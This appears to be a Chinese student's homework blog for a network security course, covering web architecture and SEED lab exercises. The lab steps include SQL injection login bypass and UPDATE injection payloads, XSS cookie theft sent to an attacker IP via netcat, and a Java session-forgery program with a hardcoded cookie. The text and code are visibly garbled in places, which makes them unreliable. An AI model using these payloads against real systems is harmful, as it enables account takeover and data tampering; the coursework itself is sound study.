本博客属于课程:《网络攻防实践》
本次做业:《第十一周做业》
我在这个课程的目标:掌握知识与技能,加强能力和本领,提升悟性和水平。javascript
Web应用程序是使用Internet浏览器执行某些功能的程序。它带有中间件和UI,它们链接客户端(用户在浏览器中看到和使用的内容),服务器(操做的后端)和数据库。虽而后端脚本保存数据,但前端会将数据传输给支持数据交换的消费者。php
1)Web前端系统html
2)负载均衡系统前端
3)数据库集群系统java
4)缓存系统mysql
5)分布式存储系统nginx
6)分布式服务器管理系统程序员
7)代码分发系统web
web前端就是前端网络编程,也被认为是用户端编程,是为了网页或者网页应用,而编写HTML,CSS以及JS代码,因此用户可以看到而且和这些页面进行交流。前端网络编程的挑战在于用于实现前端页面的工具以及技术变化得很快,因此工程师须要不断注意产业是如何发展的(例如ECMAScript 6)。设计网页的目的在于确保用户打开站点的时候,信息是以容易阅读而且相互关联的形式呈现的。随之带来的问题是,如今用户实用大量的设备来访问网页,这些设备具备不一样的屏幕尺寸以及清晰度。因此设计者在设计网页的时候须要注意这些方面。他们须要确保他们的网页在不一样的浏览器、不一样的操做系统以及不一样的设备上显示正确,这须要在工程师端进行仔细的计划。sql
负载均衡创建在现有网络结构之上,它提供了一种廉价有效透明的方法扩展网络设备和服务器的带宽、增长吞吐量、增强网络数据处理能力、提升网络的灵活性和可用性。负载均衡就是分摊到多个操做单元上进行执行,例如Web服务器、FTP服务器、企业关键应用服务器和其它关键任务服务器等,从而共同完成工做任务。
负载均衡系统分为硬件和软件两种。硬件负载均衡效率高,可是价格贵,好比F5等。软件负载均衡系统价格较低或者免费,效率较硬件负载均衡系统低,不过对于流量通常或稍大些网站来说也足够使用,好比lvs, nginx。大多数网站都是硬件、软件负载均衡系统并用。
因为Web前端采用了负载均衡集群结构提升了服务的有效性和扩展性,所以数据库必须也是高可靠的,才能保证整个服务体系的高可靠性,如何构建一个高可靠的、能够提供大规模并发处理的数据库体系?
咱们能够采用如上图所示的方案:
1) 使用 MySQL 数据库,考虑到Web应用的数据库读多写少的特色,咱们主要对读数据库作了优化,提供专用的读数据库和写数据库,在应用程序中实现读操做和写操做分别访问不一样的数据库。
2) 使用 MySQL Replication 机制实现快速将主库(写库)的数据库复制到从库(读库)。一个主库对应多个从库,主库数据实时同步到从库。
3) 写数据库有多台,每台均可以提供多个应用共同使用,这样能够解决写库的性能瓶颈问题和单点故障问题。
4) 读数据库有多台,经过负载均衡设备实现负载均衡,从而达到读数据库的高性能、高可靠和高可扩展性。
5) 数据库服务器和应用服务器分离。
6) 从数据库使用BigIP作负载均衡。
缓存分为文件缓存、内存缓存、数据库缓存。在大型Web应用中使用最多且效率最高的是内存缓存。最经常使用的内存缓存工具是Memcached。使用正确的缓存系统能够达到实现如下目标:
一、使用缓存系统能够提升访问效率,提升服务器吞吐能力,改善用户体验。
二、减轻对数据库及存储集服务器的访问压力。
三、Memcached服务器有多台,避免单点故障,提供高可靠性和可扩展性,提升性能。
Web系统平台中的存储需求有下面两个特色:
1) 存储量很大,常常会达到单台服务器没法提供的规模,好比相册、视频等应用。所以须要专业的大规模存储系统。
2) 负载均衡cluster中的每一个节点都有可能访问任何一个数据对象,每一个节点对数据的处理也能被其余节点共享,所以这些节点要操做的数据从逻辑上看只能是一个总体,不是各自独立的数据资源。
所以高性能的分布式存储系统对于大型网站应用来讲是很是重要的一环。
随着网站访问流量的不断增长,大多的网络服务都是以负载均衡集群的方式对外提供服务,随之集群规模的扩大,原来基于单机的服务器管理模式已经不可以知足咱们的需求,新的需求必须可以集中式的、分组的、批量的、自动化的对服务器进行管理,可以批量化的执行计划任务。
在分布式服务器管理系统软件中有一些比较优秀的软件,其中比较理想的一个是Cfengine。它能够对服务器进行分组,不一样的分组能够分别定制系统配置文件、计划任务等配置。它是基于C/S 结构的,全部的服务器配置和管理脚本程序都保存在Cfengine Server上,而被管理的服务器运行着 Cfengine Client 程序,Cfengine Client经过SSL加密的链接按期的向服务器端发送请求以获取最新的配置文件和管理命令、脚本程序、补丁安装等任务。
有了Cfengine这种集中式的服务器管理工具,咱们就能够高效的实现大规模的服务器集群管理,被管理服务器和 Cfengine Server 能够分布在任何位置,只要网络能够连通就能实现快速自动化的管理。
随着网站访问流量的不断增长,大多的网络服务都是以负载均衡集群的方式对外提供服务,随之集群规模的扩大,为了知足集群环境下程序代码的批量分发和更新,咱们还须要一个程序代码发布系统。
这个发布系统能够帮咱们实现下面的目标:
1) 生产环境的服务器以虚拟主机方式提供服务,不须要开发人员介入维护和直接操做,提供发布系统能够实现不须要登录服务器就能把程序分发到目标服务器。
2) 咱们要实现内部开发、内部测试、生产环境测试、生产环境发布的4个开发阶段的管理,发布系统能够介入各个阶段的代码发布。
3) 咱们须要实现源代码管理和版本控制,SVN能够实现该需求。
这里面可使用经常使用的工具Rsync,经过开发相应的脚本工具实现服务器集群间代码同步分发。
SQL注入:利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,这是SQL注入的标准释义。
随着B/S模式被普遍的应用,用这种模式编写应用程序的程序员也愈来愈多,但因为开发人员的水平和经验良莠不齐,至关一部分的开发人员在编写代码的时候,没有对用户的输入数据或者是页面中所携带的信息(如Cookie)进行必要的合法性判断,致使了攻击者能够提交一段数据库查询代码,根据程序返回的结果,得到一些他想获得的数据。
SQL注入利用的是正常的HTTP服务端口,表面上看来和正常的web访问没有区别,隐蔽性极强,不易被发现。
一、判断Web环境是否能够SQL注入。若是URL仅是对网页的访问,不存在SQL注入问题,就是普通的网页访问。只有对数据库进行动态查询的业务才可能存在SQL注入,这种语句会在数据库中执行,所以可能会给数据库带来威胁。
二、寻找SQL注入点。完成上一步的片段后,就要寻找可利用的注入漏洞,经过输入一些特殊语句,能够根据浏览器返回信息,判断数据库类型,从而构建数据库查询语句找到注入点。
三、猜解用户名和密码。数据库中存放的表名、字段名都是有规律可言的。经过构建特殊数据库语句在数据库中依次查找表名、字段名、用户名和密码的长度,以及内容。这个猜想过程能够经过网上大量注入工具快速实现,并借助破解网站轻易破译用户密码。
四、寻找WEB管理后台入口。一般WEB后台管理的界面不面向普通用户开放,要寻找到后台的登录路径,能够利用扫描工具快速搜索到可能的登录地址,依次进行尝试,就能够试出管理台的入口地址。
五、入侵和破坏。成功登录后台管理后,接下来就能够任意进行破坏行为,如篡改网页、上传木马、修改、泄漏用户信息等,并进一步入侵数据库服务器。
QL注入攻击的特色:
变种极多,有经验的攻击者会手动调整攻击参数,导致攻击数据的变种是不可枚举的,这致使传统的特征匹配检测方法仅能识别至关少的攻击,难以防范。
攻击过程简单,目前互联网上流行众多的SQL注入攻击工具,攻击者借助这些工具可很快对目标WEB系统实施攻击和破坏。
危害大,因为WEB编程语言自身的缺陷以及具备安全编程能力的开发人员少之又少,大多数WEB业务系统均具备被SQL注入攻击的可能。而攻击者一旦攻击成功,能够对控制整个WEB业务系统,对数据作任意的修改,破坏力达到及至。
SQL注入的危害和现状
SQL注入的主要危害包括:
一、未经受权情况下操做数据库中的数据
二、恶意篡改网页内容
三、私自添加系统账号或者是数据库使用者账号
四、网页挂木马
进入SeedUbantu为咱们搭建好的web服务器登录页面,在前端的登陆帐号和密码只有和后端的数据库中的用户表的信息匹配才能够成功登陆。
那么咱们须要作什么呢?很显然,进到数据库里看看本身的帐户密码是什么(若是你是数据库管理员)Or,若是你是非受权用户,那么你能够尝试一下SQL注入(攻下它)。
页面上使用组合键Ctrl+u转到源代码,咱们先看到这个登录页面的源代码,简洁易懂的Html语言编写成的登录页面,咱们的登陆信息将会以Get的方式提交至unsafe_home.php(这是一个php语言写成的服务器,等同于java编写的Severlet Service服务器的功能),咱们找到这个服务器的源代码,位于:/var/www/SQLInjection/unsafe_home.php,使用vim编辑器打开就能够看到服务器源代码。
源代码中针对Sql数据库的操做语句是:SELECT id,name,eid,salary,birth,ssn,phoneNumber,address,email,nickname,Password FROM credential WHERE name='$input_name'and Password='$hashen_pwd'
这个Sql数据库操做语句的意思是在一个名为credential的表中查询表单项name为($input_name所传递的参数的值,$ 符号表示这是一个变量)和Password($hashen_pwd所传递的参数的值),并输出与之相匹配的表单行中的id,name,eid,salary,birth,ssn,phoneNumber,address,email,nickname,Password这些项目的值
显然这是一个存在漏洞的Sql操做语句,PHP代码中的字符串类型的数据须要用单引号(')引发来。好比上面的任务中username='$username',单引号用于把$username从代码中区分出来。不幸的是若是$username中含有单引号,这个区分将被打破。咱们须要一个机制告诉数据库$username中的单引号应该被当作数据,而不是SQL语句的特殊字符。为此咱们只须要在单引号前加一个反斜杠()这个代码就能够。依据这两个原理,咱们就能够完成在登陆过程当中经过在登录表格中输入精心准备的代码来完成Sql注入的攻击。
利用这一点,咱们在username中输入admin' #
,这样这个数据库操做指令就变成了:
SELECT id,name,eid,salary,birth,ssn,phoneNumber,address,email,nickname,Password FROM credential WHERE name='admin' #'and Password='$hashen_pwd'
#
符号后面的内容都会被看成注释处理,所以这段Sql指令完成的操做是搜索name为admin的表单信息,完成了不须要输入密码便可登陆的目的。以下图所示,咱们已经成功黑进了系统(仍是一个有管理员权限的帐户)
这里咱们随便来登陆一个其余的帐户(模拟本身是一个普通帐户,如何在不知道他人帐户的前提下经过Sql注入来修改他人帐户的过程,或者修改表单中不让修改的内容),点击Edit Profile进入修改我的信息功能,一样Ctrl+u来看到页面源代码以下:
咱们在源代码中能够看到咱们输入的信息都被提交到了unsafe_edit_backend.php这个Severlet Service中,一样咱们找到这个源代码文件并打开它
这里看到了针对UPDTE的SQL语句,经过查询修改动做的用户在数据库内的id(这个id)来定位用户在表单中的位置,而后直接更新全部输入信息(这里做者还判断了一下密码项是否为空,防止空密码的出现)。
很显然咱们目前并不知道咱们要查找的用户的id在数据库中是多少(这个id和用管理员帐户登陆所显示的id并不是同一个),那么咱们要作的就是修改这个SQL语句,最简单的作法就是不经过id查询,个人作法是在输入密码那个表单中输入以下语句 123456', salary='2333' where name='Boby';#
这里等于修改了Boby的密码,甚至还修改了表单中不容许修改的工资,调整为2333(嘲笑脸),因为咱们不知道任何一个用户在数据库中的id,故而这里直接用name进行搜索,经过这样的方法,咱们能够作到任何Sql数据库指令,只要咱们想。
咱们甚至能够修改本身的任何信息,只要在刚刚的指令123456', salary='2333' where name='Boby';#中添加任何想要添加的字段,就能够修改它。
这里利用了Sql语句对单引号'
的处理问题,这里最简单的操做就是阻止用户输入非法字符,
$str="<,>/?~`!@#%^&*()+|\='"; #定义你认为是特殊字符的字符 #falg=similar_text($input_nickname,$str); if(flag>0) #代表$name中有你定义的特殊字符 {echo "你输入有特殊字符"; $conn->query($sql); $conn->close(); header("Location:unsafe_home.php"); exit(); }
能够看到,咱们成功将攻击者堵在这里了,若是输入了特殊字符将未能修改任何数据,直接返回我的信息页面
这里咱们仅以nickname的输入项为例,若是对每一次Sql语句的输入项都进行检查,就能够有效防止Sql注入
另外,因为修改了Servlet Service,这里须要对修改内容进行从新读取,须要在控制台使用命令:sudo Service apache2 restart来从新加载
在本次实验中,咱们建立了一个具备XSS注入漏洞的phpBB版本。咱们但愿学生能够经过生动地实践更深入的理解XSS的注入原理和方式,并在从此的工做中增强防护的意识和措施。
登陆帐户:alice 密码:seedalice
登陆成功后,在edit profile中的我的简介(brief description)中加上一段javascript语句,这段语句的意思很简单就是弹出一个警告窗口,因为这段代码在brief description中,因此每次打开alice的我的简介页面都会弹出(很不巧我的简介就在主页上,因此访问alice的主页就会弹出)
这样作的目的就是告诉初学者,在主页上咱们能够嵌入javascript代码,这里很容易有脚本攻击或病毒之类的攻击代码。
同理,咱们也可让访问者显示本机Cookie,代码以下:
可是咱们要作的是将这段Cookie发送到攻击机,这里就要用一段不一样的代码来实现:
每当有主机访问Alice主页都会将其id发送到192.168.0.109:9999的攻击机上,攻击机能够借助netcat工具,对9999端口进行TCP详细监听,就能够获得以下图所示的信息。
这里须要用到LiveHTTPHeaders这个插件,若是在ubuntu下的火狐浏览器,默认拒绝安装
解决方法:
在地址栏输入about:config进入火狐的软件拦截设置,查询xpinstall.signatures.required,双击将其设置为true,这样就能够成功下载安装LiveHTTPHeaders插件了。
或者更方便的能够直接安装一个有签名的插件名为:HTTP Header Live,这个能够直接添加,并且免费。
当咱们发blog时,捕获了和服务器通讯的报文头,如图所示,会显示咱们的用户cookie,咱们仔细检查甚至能够看到咱们发出的blog都是明文传输的,这样咱们就能够仿照这个报文向服务器发帖,而且修改用户Cookie达到冒充他人发帖的效果。
发贴的java代码以下
import java.io.*; import java.net. public class HTTPSimpleForge ( public static void main(String[] args) throws lOException { try ( int responsecode; Inputstream responseln=null; URL url = new URL ("http://www.xsslabphpbb.com/posting. php・); // URL to be forged. URLConnection urlConn = url.openconnection(); if (urlConn instanceof H11pURLConnection)( urlConn.setConnectTimeout(60000); urlConn.setReadTimeout(90000); ) / /addReque st Property method is used to add HTTP Header Information, urIConn.addRequestProperty("User-Agent","Mozilla/5.0 (Xll; U; Linux i686; en-US; rv:1.9.0.8) Gecko/2009033100 Ubuntu/9.04 (jaunty) Firefox/3.0.8"); urlConn.addRequestProperty("Accept", "text/html,application/xhtml+ xml,application/xml;q=0.9,*/*;q=0.8”); urlConn.addRequestProperty("Accept-Language", "en-us,en;q=0.5"); urlConn.addRequestProperty("Accept-Encoding", "gzip,deflate"); urlConn.addRequestProperty("Accept-Charset", "ISO-8859-1rutf-8;q= 0.7, *;q=0.7"); urlConn.addRequestProperty("Keep-Alive", "300"); urlConn.addRequestProperty("Connection", "keep-alive"); urlConn.addRequestProperty("Referer", "http://www.xsslabphpbb. com/post ing.php?mode=edi tpost&p=7"); urlConn. addRequest Property(HCookie", -phpbb2mysql_t=a%3A32%3A%7Bi%3A7%3Bi%3A1283172181%3Bi%3A8%3Bi%3A1283172 281%3Bi%3A9%3Bi%3A1283172408%3Bi%3A10%3Bi%3A1283172387%3Bi%3All%3Bi%3Al 283172362%3Bi%3A12%3Bi%3A1283172356%3Bi%3A13%3Bi%3A1283172289%3Bi%3A14% 3Bi%3A1283172351%3Bi%3A15%3Bi%3A1283172323%3Bi%3A16%3Bi%3A1283172317%3B i%3A17%3Bi%3A1283172260%3Bi%3A18%3Bi%3A1283172249%3Bi%3A19%3Bi%3A128317 2238%3Bi%3A20%3Bi%3A1283172194%3Bi%3A21%3Bi%3A1283172093%3Bi%3A22%3Bi%3 A1283172086%3Bi%3A23%3Bi%3A1283172074%3Bi%3A24%3Bi%3A1283172067%3Bi%3A2 5%3Bi%3A1283172059%3Bi%3A26%3Bi%3A1283172081%3Bi%3A27%3Bi%3A1283172231% 3Bi%3A28%3Bi%3A1283172244%3Bi%3A29%3Bi%3A1283172255%3Bi%3A30%3Bi%3A1283 172308%3Bi%3A31%3Bi%3A1283172296%3Bi%3A32%3Bi%3A1283172302%3Bi%3A6%3Bi% 3A1283172376%3Bi%3A5%3Bi%3A1283172413%3Bi%3A33%3Bi%3A1283172716%3Bi%3A3 4%3Bi%3A1283173189%3Bi%3A35%3Bi%3A1283174324%3Bi%3A36%3Bi%3A1283226239% 3B%7D; phpbb2mysql_data=a%3A2%3A%7Bs%3All%3A%22autologinid%22%3Bs%3A0%3A%22%22 %3Bs%3A6%3A%22userid%22%3Bs%3Al%3A%226%22%3B%7D; Phpbb2mysql_sid=6d47ed39784d300851ba04295e406770"); urlConn.addRequestProperty("Content-Type',"application/x- www- form-urlencoded"); //HTTP Post Data which includes the information to be sent to the server.